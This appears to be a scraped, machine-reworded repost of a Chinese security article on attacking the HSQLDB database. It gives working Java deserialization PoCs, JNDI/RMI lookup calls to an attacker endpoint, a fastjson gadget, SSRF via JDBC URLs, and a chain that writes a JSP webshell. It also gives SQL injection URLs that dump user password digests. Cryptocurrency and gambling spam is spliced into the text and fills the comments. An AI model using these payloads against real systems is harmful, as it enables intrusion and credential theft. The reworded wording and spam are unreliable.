菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。
1. 靠山
HSQLDB(HyperSQL DataBase) 是一个完全由Java编写的小型嵌入式数据库,由于它可以以文件或者内存的形式运行,不需要单独另起服务器,HSQLDB 也是一个服务器+客户端一体的 jar 包,HSQLDB 内置了 HTTP 和 HSQL 两种协议的服务器,通过下令行就可以启动 HSQLDB 服务器,除此之外 HSQLDB 还带了一个 Servlet 类org.hsqldb.server.Servlet
可以注册到 Tomcat 中使用。
在我开发的工具”溯光“中就使用它来存储数据,我在之前做过的几个代码审计项目中也找过与其相关的一些破绽。以是下文我会分享一些 HSQLDB 相关的一些测试方式。
HSQLDB 有四种毗邻模式。
- 内存模式:直接将数据存储在JVM的内存,数据会随着JVM的竣事而消逝。
- 文件模式:会将数据以文件形式存储在指定的某个目录下。
- WEB服务器模式:毗邻hsqldb的http端口
- HSQL服务器模式:毗邻hsqldb的hsql端口
对应的 jdbc url 划分如下
- jdbc:hsqldb:mem:myDbName
- jdbc:hsqldb:file:/opt/db/myDbName
- jdbc:hsqldb:http://localhost/myDbName
- jdbc:hsqldb:hsql://localhost:9001/myDbName
另有一个是 res 模式,但这个不常用,就不提了。
2. 关于调试
可以看到自己编译的类中,每个method中都有一个 LineNumberTable,这个信息就是用于调试的信息,然则hsqldb中没有这个信息,以是是无法调试下断点的,hsqldb应该在编译时添加了某些参数或者使用了其他手段来去除这些信息。 ——引用自《F5 BIG-IP hsqldb(CVE-2020-5902)破绽踩坑剖析》
以是要想调试可以通过 Longofo 给出的 longofo/hsqldb-source 编译后再举行调试,不外作者给出的是 1.8 版本的 hsqldb,如需调试高版本需要自行编译响应版本的 hsqldb ,本文演示所用到的版本为 2.5.1。
3. JDBC URL
JDBC URL我以为可以单独拎出来讲一下,由于有一些场景可能允许自行组织 JDBC URL 来毗邻数据库,例如一些开发者平台可以填写数据源,其中包罗JDBC URL,另有 fastjson 反序列化的一些 DataSource 类型的 gadget 也可以填写 JDBC URL。
我也在一些代码审计项目中发现了 hsqldb JDBC URL 导致的安全问题。
先模拟下第一个场景,形貌如下
有一个数据源修改功效,可以修改jdbc url、jdbc driver class、数据库账号、数据库密码等信息,其中数据库密码在页面上是打码的,无法从页面和抓包直接查看。
我的思绪如下
3.1 SSRF+破解明文密码
由于 hsqldb 允许使用 http/https 的方式去毗邻服务器,以是可以举行无回显的 SSRF 探测,同时验证密码时也会把明文密码带入请求体,也就可以获获得页面中看不到的密码了。
3.2 获取JVM敏感变量
导致问题的代码在org.hsqldb.DatabaseURL,parseURL
方式
这里取出 ${}
里的字符串作为参数从System.getProperty
方式调取对应的value
也就是说 System.getProperties() 所有的信息都可以通过 http 的方式携带出去。
比如要截取user.dir
3.3 写SQL文件
前面两种若是不能出外网可能就无法行使,以是要想获取密码就得把SCRIPT文件写到 web 目录下。
前面提到 hsqldb 是支持文件模式的。
以是需要改一下 jdbc url
jdbc:hsqldb:file:E:/source/java/hsqltest/target/hsqltest/test1
毗邻后会在E:/source/java/hsqltest/target/hsqltest/
目录下天生这几个文件,其中 SCRIPT 文件是数据库初始化的 SQL 剧本文件,包含了用户名与MD5加密后的密码,虽然MD5不能直接破解,但大部分常见的密码都已经被撞出来了。
由于文件被写到了 web 目录,以是可以直接接见 test1.script 文件就能获得密码 MD5。
再通过 SOMD5/CMD5 等平台即可查出明文
4. 反序列化
4.1 参数恢复
前段时间 F5 BIG IP 爆出过一个破绽,其中就用到了 hsqldb 的反序列化破绽。
由于它的 hsqldb 版本是较低的 1.8 版本,在 Servlet 收到 CALL 下令 恢复参数工具时造成了反序列化。
关于 1.8 的这个反序列化我就不再复现了。相关资料可参考《F5 BIG-IP hsqldb(CVE-2020-5902)破绽踩坑剖析》
public static void testLocal() throws IOException, ClassNotFoundException, SQLException {
String url = "http://localhost:8080";
String payload = Hex.encodeHexString(Files.readAllBytes(Paths.get("calc.ser")));
System.out.println(payload);
String dburl = "jdbc:hsqldb:" + url + "/hsqldb_war_exploded/hsqldb/";
Class.forName("org.hsqldb.jdbcDriver");
Connection connection = DriverManager.getConnection(dburl, "sa", "");
Statement statement = connection.createStatement();
statement.execute("call \"java.lang.System.setProperty\"('org.apache.commons.collections.enableUnsafeSerialization','true')");
statement.execute("call \"org.hsqldb.util.ScriptTool.main\"('" + payload + "');");
}
参照 POC 实质上就是 CALL 下令在挪用 java 静态方式时遇到 HEX 参数会自动解码并将解码后的 bytes 直接通过 ObjectInputStream 反序列化回 Java 工具。
2.5.1 也同样存在参数恢复的反序列化破绽,一最先我以为被修了,但经由研究发现照样可以通过挪用方式的时刻反序列化参数。
4.2 图形化客户端
上面这种是由客户端请求服务端的。
由 HSQLDB 图形化客户端请求恶意服务端造成的反序列化破绽,但有点鸡肋,不像 Mysql driver 反序列化那样毗邻乐成后自动举行反序列化,需要用到图形化客户端来毗邻才可以。
可以看到 org.hsqldb.types.JavaObjectData,getObject 方式有被
org.hsqldb.jdbc.JDBCResultSet,getObject(int)
和org.hsqldb.jdbc.JDBCCallableStatement,getObject(int)
用到。
这两个类也就是 jdbc 客户端的ResultSet和Statement类。
只要他们的 getObject 方式被挪用到且该字段的值可控就可以造成反序列化。
我通过查阅官方文档和阅读代码得可以建立一个带有 OTHER 类型字段的表。
通过 INSERT 语句插入一条序列化工具,当图形化客户端查询到这条效果或者 Java 客户挪用到 ResultSet / Statement 的 getObject 方式时便会触发反序列化。
首先应先建立一个表, 设置 obj 字段为 OTHER 类型。
CREATE TABLE movies (director VARCHAR(30), obj OTHER)
然后通过如下代码插入一条反序列化 payload 到这个表。
String dburl = "jdbc:hsqldb:http://127.0.0.1/";
Class.forName("org.hsqldb.jdbc.JDBCDriver");
Connection connection = DriverManager.getConnection(dburl, "sa", "");
connection.prepareStatement("CREATE TABLE movies (director VARCHAR(30), obj OTHER)").executeUpdate();
PreparedStatement preparedStatement = connection.prepareStatement("insert INTO MOVIES values(?,?)");
Object calc = new JRMPClient().getObject("127.0.0.1:2333");
String s = "a" + System.currentTimeMillis();
preparedStatement.setString(1,"a"+System.currentTimeMillis());
preparedStatement.setObject(2,calc);
System.out.println(preparedStatement.executeUpdate());
当我再用 HSQLDB 图形化客户端去毗邻这个数据库而且查询 movies 表时就会自动触发反序列化。
4.3 DataSource gadget
在 fastjson 开启了 autotype 且没有可用的 rce gadget 的场景下可以用到。
{"@type":"org.hsqldb.jdbc.pool.JDBCPooledDataSource","url":"jdbc:hsqldb:http://127.0.0.1:2333/?${user.dir}","user":"sa","password":"","a":{"$ref":"$.pooledConnection"}}
实际上就是用 hsqldb 的 org.hsqldb.jdbc.pool.JDBCPooledDataSource
来毗邻指定 jdbc url 的 hsqldb 数据库。
5. 高危SQL下令
5.1 方式挪用
凭据我的测试效果来看有三种方式可以来挪用 JAVA 方式。
第一种:自定义函数
create function rce(VARCHAR(80))
returns VARCHAR(80)
no sql
language java
external name 'CLASSPATH:java.rmi.Naming.list'
;
CALL rce('rmi://127.0.0.1:2333/a')
和其他数据库一样,hsqldb 也可以建立自定义函数,且允许引用 Java 的静态方式,要求参数和返回值都是 HSQLDB 支持的类型。
我找到了 java.rmi.Naming.list
正好相符,且可以造成反序列化。
除此之外另有javax.naming.InitialContext.doLookup
第二种:直接挪用Java方式
CALL "java.rmi.Naming.list"('rmi://127.0.0.1:2333/a')
这种原理和第一种一样,同样需要参数和返回类型是 HSQLDB 支持的类型
第三种:设置密码检查扩展方式
,,菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。
SET DATABASE PASSWORD CHECK FUNCTION EXTERNAL NAME 'CLASSPATH:java.class.method'
//建立用户密码和修改当前用户密码时会触发
SET DATABASE AUTHENTICATION FUNCTION EXTERNAL NAME 'CLASSPATH:java.class.method'
//认证时会触发
5.2 文件读取
LOAD_FILE
我查阅了官方文档,找到了 LOAD_FILE
函数。主要是用来读取文件和请求URL的。
但这个函数有个瑕玷,若是参数中没有把 hsqldb.allow_full_path
设置为 true
就只能读取 hsqldb 数据库文件存放的目录及其子目录,也无法通过..
跳转目录。
参考上图,要求 allowFull
和 propTextAllowFullPath
有一个为 True
才可以跨目录。
TEXT TABLE
这个需要建立一个 TEXT 类型的 TABLE ,然后通过 SET 下令向该表插入数据库。
CREATE TEXT TABLE TESTDATA(
txt VARCHAR(255)
) ;
然后再通过 SET 下令向 TEXT TABLE 导入文件
SET TABLE TESTDATA SOURCE 'data.script'
但同样和 LOAD_FILE 一样不能跨目录读取文件。
IMPORT SCRIPT
这个和其他两个差异,他的功效是读取文件而且导入剧本。
与前两个差异的是他可以跨目录读取文件,但瑕玷就是读出来的文件是以报错形式显示的,而且只能读一部分内容。
PERFORM IMPORT SCRIPT VERSIONING DATA FROM 'C:/windows/win.ini'
他能跨目录读文件的原因是 allowFull 参数被设定为 true
了
5.3 文件写入
SCRIPT
SCRIPT 这个下令会把当前的数据库剧本导出到指定的文件路径下,不受 allowFull 参数的限制,也没有文件后缀限制。
http://localhost:8888/query?keyword=test';CREATE+TABLE+EVIL(txt+VARCHAR(255));--
http://localhost:8888/query?keyword=test';insert+into+EVIL+values('<%25=666666-1%25>');--
http://localhost:8888/query?keyword=test';SCRIPT+'E:/source/java/hsqltest/target/hsqltest/evil.jsp';--
我划分执行了三条SQL 下令。
第一条和第二条用于写入 JSP 代码到 script 文本中。
第三条用 SCRIPT 下令把剧本文本导出为 jsp 文件到web目录下。
最后再去接见 http://localhost:8888/evil.jsp
就可以执行 jsp 代码。
6. SQL注入
hsqldb 和其他数据库基本一样,也有报错注入、UNION注入、盲注。
另外 hsqldb 默认支持堆叠查询。
由于 RESTRICT (防止多行查询)的选项是关闭的。以是Statement.executeQuery()
可以多行查询,以是上文中提到的一些测试方式大多数都可以用。
6.1 报错注入
主流的报错注入方式主要分为两类。
一类是 mysql、Oracle 这种使用自带函数使错误抛出的信息中携带参数值。另一类是 sqlserver 这种转型报错。
由于转型在这里并不适用,以是最先看一些函数的源码。
其中我关注到了 LOAD_FILE
函数,发现它会把参数当做文件去读取,一旦遇到文件无法读取的情形就会把文件路径带入到报错信息中输出。
从源码中来看就是文件没读到,抛出了一个异常,在message中把这个路径给带了出来。
想找其他可以报错注入的函数也很简单,搜索Error.error\(.*, .*\)
这条正则一步步顺着向上找对应的函数。
例如REGEXP_REPLACE
这个函数
这里它把第六个参数带入了FunctionCustom.regexpParams()
方式
当switch的所有case都不知足时会把它带入异常信息抛出,也就造成了报错注入。
下面展示下两个报错注入的例子
http://localhost:8888/query?keyword=test' and REGEXP_REPLACE('','','','',1,concat('~',user()))='1
http://localhost:8888/query?keyword=test' and load_file(concat('x:/',(SELECT top 1 concat(user_name,'~',password_digest) FROM information_schema.system_users)))!=null and '1'='1
6.2 UNION 注入
和其他类型的数据库一样,基本没什么差异
先通过 order by 查当前表的 column 数目
http://localhost:8888/query?keyword=test' or 1=1 order by 13--!
13 返回正常,14报错,说明 column 有 13 个。
http://localhost:8888/query?keyword=test' and 1=2 union select database(),(SELECT top 1 concat(user_name,'~',password_digest) FROM information_schema.system_users),null,null,null,null,null,null,null,null,null,true,null from INFORMATION_SCHEMA.TABLES--!
注入出数据库账号密码
6.3 布尔盲注
布尔盲注主要通过页面返回的正常与否判断SQL执行的情形。
其他数据库的盲注用到的函数 hsqldb 基本都有。
如:SUBSTR、length、HEX、DECODE等。
其中DECODE就相当于 mysql 的IF。
decode(user(),'SA',1,0)
这条SQL的寄义是“若是user()的值即是'SA'则返回1,否则返回0”
再带入到盲注剧本就很好理解了。
运行盲注剧本就可以查到SQL效果
6.4 延时盲注
与其他数据库差异的是我没有发现 hsqldb 有延时函数。
以是需要通过其他的方式来到达延时的效果。我有两种思绪。
- 通过 REGEXP_MATCHES 函数引发REDOS造成延时(慎用)
- 查一个数据异常多的表引发延时。
需要注重的是REGEXP_MATCHES 会造成CPU过载,使用不当可能会卡死。
REGEXP_MATCHES('aaaaaaaaaaaaaaaaaaaaaaaaaaaX','(a+)+')
这条SQL我运行时会延时 4 秒左右,X前面的a越多延迟时间就越长,一样平常能延迟5秒左右就可以了。
在布尔盲注的剧本基础上稍作修改就可以跑出数据了。
6.5 堆叠注入
前面提到过,hsqldb 是默认允许堆叠查询的,以是可以像 sqlserver 一样自由的执行其他下令。
例如通过 CALL 下令挪用 Java 方式 RCE
http://localhost:8888/query?keyword=test';CALL "javax.naming.InitialContext.doLookup"('ldap://127.0.0.1:2333/Exploit');--!
顺便提一下,在注入场景下要想执行 Java 方式也不一定非要依赖堆叠注入,上面只是以 CALL 下令举个例子,若是遇到不可以堆叠注入的情形也可以直接去掉 CALL 带入查询。
http://localhost:8888/query?keyword=test' and "javax.naming.InitialContext.doLookup"('ldap://127.0.0.1:2333/Exploit')!=null and 'a'='a
7. 参考
本文首发于快手SRC
Chapter 10. Built In Functions
longofo / hsqldb-source
F5 BIG-IP hsqldb(CVE-2020-5902)破绽踩坑剖析
网友评论
9条评论USDT自动充提教程网
回复菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。留言,证明我在看~
usdt接口开发
回复鲸鱼算力官网(www.ipfs8.vip)是IPFS官方指定硬件服务商、矿场合作方平台。鲸鱼算力官网实时更新IPFS矿机的FiLecoin(FIL币)收益数据、提供FiLecoin(FIL币)节点运维、FiLecoin(FIL币)矿机出售信息、IPFS矿机出售合租拼购、IPFS算力出售合租拼购、IPFS代理全国招商等业务。矿网是一般人写不出这水平
登1登2登3代理(www.hg9988.vip)
回复@usdt接口开发 事实上,仍然存在一个解决方案是最简朴的匹配西装的方式,没有优越的平衡比,或者太长,短裤在女性曲线的意义上会过高,你可以选择匹配西装的半身,然后一对高跟鞋,让整体焦点,腰线也具有伸长率效果,腿部长,腿部更弥补且更有益。有一点点心动
usdt接口开发(www.caibao.it)
回复USDT手机钱包(www.usdt8.vip)
回复ug610登陆(www.ugbet.us)
回复▲刘德华出道40年甚少传出绯闻,克日有空服员曝光他在机上的爱妻暖举。(图/NOWnews摄影中央)内容不错,继续加油。
USDT充值接口(www.caibao.it)
回复包罗凯文-杜兰特,上期投票他排在第4位,也有希望竞争MVP,但由于受伤他缺席了大量竞赛。阿德托昆博近期由于膝盖问题一直在休战,詹姆斯-哈登受伤前的呼声也很高,但现在由于腿筋问题一直在养伤。入坑不吃亏,真的
皇冠代理登录线路(www.hg9988.vip)
回复话题标签:Bethesda辐射高清重制黑曜石 打卡~
新2信用平台出租
回复先码,再看